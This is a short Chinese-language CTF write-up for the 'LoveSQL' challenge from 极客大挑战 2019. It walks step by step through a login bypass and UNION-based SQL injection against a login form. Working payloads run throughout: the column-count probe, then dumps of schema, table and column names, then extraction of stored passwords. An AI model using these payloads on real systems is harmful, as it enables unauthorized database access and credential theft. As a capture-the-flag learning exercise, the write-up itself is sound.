打开题目如下。

直接使用万能密码即可登录,但未拿到 flag。


这里尝试联合注入,首先确定字段数量,Payload:admin' or 1=1 order by 1;#,当字段数为 4 时报错,因此字段数为 3。

接下来判断什么位置的字段会输出:admin' union select 1,2,3;#,结果中会显示 2、3,因此字段 2、3 将会输出。

接着输出所有数据库名,Payload:admin' union select 1, 2, group_concat(schema_name) from information_schema.schemata;#。

接着输出所有数据表名,Payload:admin' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=database();#。

猜测 flag 位于 l0ve1ysq1 数据表内,因此查看该数据表的字段属性,Payload:admin'+union+select+1,+2,+group_concat(column_name)+from+information_schema.columns+where+table_name%3d'l0ve1ysq1'%3b%23。

发现 l0ve1ysq1 数据表内没有 flag 相关的字段,接下来查看 geekuser 数据表的字段属性,Payload:admin'+union+select+1,+2,+group_concat(column_name)+from+information_schema.columns+where+table_name%3d'geekuser'%3b%23。

发现两张表的字段名都一样,那只能输出字段值来看看了,首先查看 l0ve1ysq1 表的 password 字段的值,Payload:admin'+union+select+1,2,group_concat(0x7e,password,0x7e)+from+geek.l0ve1ysq1%3b%23。

得到 flag。
[极客大挑战 2019]LoveSQL
发布时间 2023-10-31 17:40:03作者: imtaieee